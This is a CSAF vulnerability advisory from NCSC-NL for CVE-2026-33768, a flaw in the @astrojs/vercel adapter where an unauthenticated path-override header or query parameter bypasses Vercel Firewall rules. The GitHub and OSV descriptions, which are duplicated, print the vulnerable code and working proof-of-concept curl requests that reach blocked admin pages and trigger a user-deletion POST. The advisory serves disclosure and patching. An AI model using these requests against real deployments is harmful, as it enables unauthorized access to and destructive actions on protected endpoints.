{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33768",
        "tracking": {
            "current_release_date": "2026-03-27T00:22:00.802847Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33768",
            "initial_release_date": "2026-03-24T20:53:19.057688Z",
            "revision_history": [
                {
                    "date": "2026-03-24T20:53:19.057688Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-24T20:53:22.988805Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-24T20:56:10.697584Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (4).| CWES updated (1).| Unknown change."
                },
                {
                    "date": "2026-03-24T20:57:35.161658Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T00:50:00.099031Z",
                    "number": "5",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-26T00:50:03.389389Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T14:25:25.061537Z",
                    "number": "7",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-26T14:25:34.651002Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T19:45:19.050162Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (7).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T19:45:24.872660Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T00:21:55.802257Z",
                    "number": "11",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (6).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T00:21:58.206186Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "12"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<10.0.2",
                                "product": {
                                    "name": "vers:unknown/>=0|<10.0.2",
                                    "product_id": "CSAFPID-5920256"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "@astrojs/vercel"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.0.2",
                                "product": {
                                    "name": "vers:unknown/<10.0.2",
                                    "product_id": "CSAFPID-5902878"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "astro"
                    }
                ],
                "category": "vendor",
                "name": "withastro"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.0.2",
                                "product": {
                                    "name": "vers:unknown/<10.0.2",
                                    "product_id": "CSAFPID-5918001",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:astro:\\@astrojs\\/vercel:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "\\@astrojs\\/vercel"
                    }
                ],
                "category": "vendor",
                "name": "astro"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33768",
            "cwe": {
                "id": "CWE-441",
                "name": "Unintended Proxy or Intermediary ('Confused Deputy')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "Astro is a web framework. Prior to version 10.0.2, the @astrojs/vercel serverless entrypoint reads the x-astro-path header and x_astro_path query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely. The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/* does nothing when the request comes in as POST /api/health?x_astro_path=/admin/delete-user. This issue has been patched in version 10.0.2.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33768"
                },
                {
                    "category": "description",
                    "text": "Astro is a web framework. Prior to version 10.0.2, the @astrojs/vercel serverless entrypoint reads the x-astro-path header and x_astro_path query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely. The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/* does nothing when the request comes in as POST /api/health?x_astro_path=/admin/delete-user. This issue has been patched in version 10.0.2.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33768.json"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `@astrojs/vercel` serverless entrypoint reads the `x-astro-path` header and `x_astro_path` query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.\n\nThe override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking `/admin/*` does nothing when the request comes in as `POST /api/health?x_astro_path=/admin/delete-user`.\n\n## Affected Versions\n\nVerified against:\n- **Astro 5.18.1 + @astrojs/vercel 9.0.4** — GET and POST override both work. Full exploitation.\n- **Astro 6.0.3 + @astrojs/vercel 10.0.0** — GET override works. POST/DELETE hit a `duplex` bug in the Request constructor (the `duplex: 'half'` option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passes `body: request.body` and intends to preserve it. Once the missing `duplex` option is added, all methods will be exploitable on v6 as well.\n\nThe vulnerable code path is identical across both versions.\n\n## Affected Component\n\n- **Package**: `@astrojs/vercel`\n- **File**: `packages/integrations/vercel/src/serverless/entrypoint.ts` (lines 19–28)\n- **Constants**: `packages/integrations/vercel/src/index.ts` (lines 44–45)\n\n## Vulnerable Code\n\nThe handler blindly trusts the caller-supplied path:\n\n```typescript\nconst realPath =\n    request.headers.get(ASTRO_PATH_HEADER) ??\n    url.searchParams.get(ASTRO_PATH_PARAM);\nif (typeof realPath === 'string') {\n    url.pathname = realPath;  // no validation, no auth\n    request = new Request(url.toString(), {\n        method: request.method,   // preserved\n        headers: request.headers, // preserved\n        body: request.body,       // preserved\n    });\n}\n```\n\nWhat makes this worse is the inconsistency. `x-astro-locals` right below it is gated behind `middlewareSecret`, but `x-astro-path` gets nothing:\n\n```typescript\n// x-astro-locals: protected\nif (astroLocalsHeader) {\n    if (middlewareSecretHeader !== middlewareSecret) {\n        return new Response('Forbidden', { status: 403 });\n    }\n    locals = JSON.parse(astroLocalsHeader);\n}\n// x-astro-path: no equivalent check (lines 19-28 above)\n```\n\n## Conditions\n\n1. Astro + `@astrojs/vercel` adapter\n2. `output: 'server'` (SSR)\n3. No `src/middleware.ts` defined, or middleware not using Edge mode\n\nThis is a realistic production configuration. Middleware is optional and many deployments skip it.\n\nThe `x-astro-path` mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (`_render`) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.\n\n## Proof of Concept\n\nSetup: minimal Astro SSR project on Vercel, no middleware. Routes: `/public` (page), `/api/health` (API endpoint), `/admin/secret` (page), `/admin/delete-user` (API endpoint). Vercel Firewall blocks `/admin/*`.\n\n**GET — page content override:**\n```bash\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**GET — API route override:**\n```bash\ncurl \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"pageId\":\"admin-delete-user\",\"message\":\"This is a protected admin API endpoint\",\"method\":\"GET\"}\n```\n\n**Header override:**\n```bash\ncurl -H \"x-astro-path: /admin/secret\" https://target.vercel.app/public\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (GET):**\n```bash\n# Direct access — blocked\ncurl https://target.vercel.app/admin/secret\n# Returns: Forbidden\n\n# Via override — Firewall sees /public, serves /admin/secret\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (POST) — verified on Astro 5.x:**\n```bash\n# Direct access — blocked\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"userId\":\"123\"}' \\\n  https://target.vercel.app/admin/delete-user\n# Returns: Forbidden\n\n# Via override — Firewall sees /api/health, executes POST /admin/delete-user\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"userId\":\"123\"}' \\\n  \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"action\":\"delete-user\",\"status\":\"deleted\",\"method\":\"POST\"}\n```\n\nThe Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.\n\nISR is not affected. Vercel's cache layer appears to intercept before the function runs.\n\n## Impact\n\n**Firewall/WAF bypass — read (Critical):** Any path-based restriction in Vercel Dashboard or `vercel.json` (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.\n\n**Firewall/WAF bypass — write (Critical):** POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated `duplex` bug in the Request constructor, not by any security check.\n\n**Audit log mismatch (Medium):** Vercel logs record the original request path and query string (e.g. `/public?x_astro_path=/admin/secret`), so the override parameter is technically visible. However, the logged path (`/public`) does not reflect the path actually served (`/admin/secret`). Detecting this attack from logs requires knowing what `x_astro_path` means — standard monitoring and alerting based on request paths will not catch it.\n\n## Prior Art\n\nCVE-2025-29927 (Next.js): `x-middleware-subrequest` header injectable by external clients, bypassing middleware. Same class of vulnerability.",
                    "title": "github - https://api.github.com/advisories/GHSA-mr6q-rp88-fx84"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `@astrojs/vercel` serverless entrypoint reads the `x-astro-path` header and `x_astro_path` query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.\n\nThe override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking `/admin/*` does nothing when the request comes in as `POST /api/health?x_astro_path=/admin/delete-user`.\n\n## Affected Versions\n\nVerified against:\n- **Astro 5.18.1 + @astrojs/vercel 9.0.4** — GET and POST override both work. Full exploitation.\n- **Astro 6.0.3 + @astrojs/vercel 10.0.0** — GET override works. POST/DELETE hit a `duplex` bug in the Request constructor (the `duplex: 'half'` option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passes `body: request.body` and intends to preserve it. Once the missing `duplex` option is added, all methods will be exploitable on v6 as well.\n\nThe vulnerable code path is identical across both versions.\n\n## Affected Component\n\n- **Package**: `@astrojs/vercel`\n- **File**: `packages/integrations/vercel/src/serverless/entrypoint.ts` (lines 19–28)\n- **Constants**: `packages/integrations/vercel/src/index.ts` (lines 44–45)\n\n## Vulnerable Code\n\nThe handler blindly trusts the caller-supplied path:\n\n```typescript\nconst realPath =\n    request.headers.get(ASTRO_PATH_HEADER) ??\n    url.searchParams.get(ASTRO_PATH_PARAM);\nif (typeof realPath === 'string') {\n    url.pathname = realPath;  // no validation, no auth\n    request = new Request(url.toString(), {\n        method: request.method,   // preserved\n        headers: request.headers, // preserved\n        body: request.body,       // preserved\n    });\n}\n```\n\nWhat makes this worse is the inconsistency. `x-astro-locals` right below it is gated behind `middlewareSecret`, but `x-astro-path` gets nothing:\n\n```typescript\n// x-astro-locals: protected\nif (astroLocalsHeader) {\n    if (middlewareSecretHeader !== middlewareSecret) {\n        return new Response('Forbidden', { status: 403 });\n    }\n    locals = JSON.parse(astroLocalsHeader);\n}\n// x-astro-path: no equivalent check (lines 19-28 above)\n```\n\n## Conditions\n\n1. Astro + `@astrojs/vercel` adapter\n2. `output: 'server'` (SSR)\n3. No `src/middleware.ts` defined, or middleware not using Edge mode\n\nThis is a realistic production configuration. Middleware is optional and many deployments skip it.\n\nThe `x-astro-path` mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (`_render`) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.\n\n## Proof of Concept\n\nSetup: minimal Astro SSR project on Vercel, no middleware. Routes: `/public` (page), `/api/health` (API endpoint), `/admin/secret` (page), `/admin/delete-user` (API endpoint). Vercel Firewall blocks `/admin/*`.\n\n**GET — page content override:**\n```bash\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**GET — API route override:**\n```bash\ncurl \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"pageId\":\"admin-delete-user\",\"message\":\"This is a protected admin API endpoint\",\"method\":\"GET\"}\n```\n\n**Header override:**\n```bash\ncurl -H \"x-astro-path: /admin/secret\" https://target.vercel.app/public\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (GET):**\n```bash\n# Direct access — blocked\ncurl https://target.vercel.app/admin/secret\n# Returns: Forbidden\n\n# Via override — Firewall sees /public, serves /admin/secret\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (POST) — verified on Astro 5.x:**\n```bash\n# Direct access — blocked\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"userId\":\"123\"}' \\\n  https://target.vercel.app/admin/delete-user\n# Returns: Forbidden\n\n# Via override — Firewall sees /api/health, executes POST /admin/delete-user\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"userId\":\"123\"}' \\\n  \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"action\":\"delete-user\",\"status\":\"deleted\",\"method\":\"POST\"}\n```\n\nThe Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.\n\nISR is not affected. Vercel's cache layer appears to intercept before the function runs.\n\n## Impact\n\n**Firewall/WAF bypass — read (Critical):** Any path-based restriction in Vercel Dashboard or `vercel.json` (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.\n\n**Firewall/WAF bypass — write (Critical):** POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated `duplex` bug in the Request constructor, not by any security check.\n\n**Audit log mismatch (Medium):** Vercel logs record the original request path and query string (e.g. `/public?x_astro_path=/admin/secret`), so the override parameter is technically visible. However, the logged path (`/public`) does not reflect the path actually served (`/admin/secret`). Detecting this attack from logs requires knowing what `x_astro_path` means — standard monitoring and alerting based on request paths will not catch it.\n\n## Prior Art\n\nCVE-2025-29927 (Next.js): `x-middleware-subrequest` header injectable by external clients, bypassing middleware. Same class of vulnerability.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-mr6q-rp88-fx84.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.0005",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5902878",
                    "CSAFPID-5918001",
                    "CSAFPID-5920256"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33768"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33768.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-mr6q-rp88-fx84"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-mr6q-rp88-fx84.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/withastro/astro/commit/335a204161f5a7293c128db570901d4f8639c6ed"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/withastro/astro/pull/15959"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd",
                    "url": "https://github.com/withastro/astro/releases/tag/%40astrojs%2Fvercel%4010.0.2"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/withastro/astro/security/advisories/GHSA-mr6q-rp88-fx84"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33768"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://github.com/advisories/GHSA-f82v-jwr5-mffw"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://github.com/withastro/astro/releases/tag/@astrojs/vercel@10.0.2"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-mr6q-rp88-fx84"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
                        "baseScore": 6.5,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5902878",
                        "CSAFPID-5918001",
                        "CSAFPID-5920256"
                    ]
                }
            ],
            "title": "CVE-2026-33768"
        }
    ]
}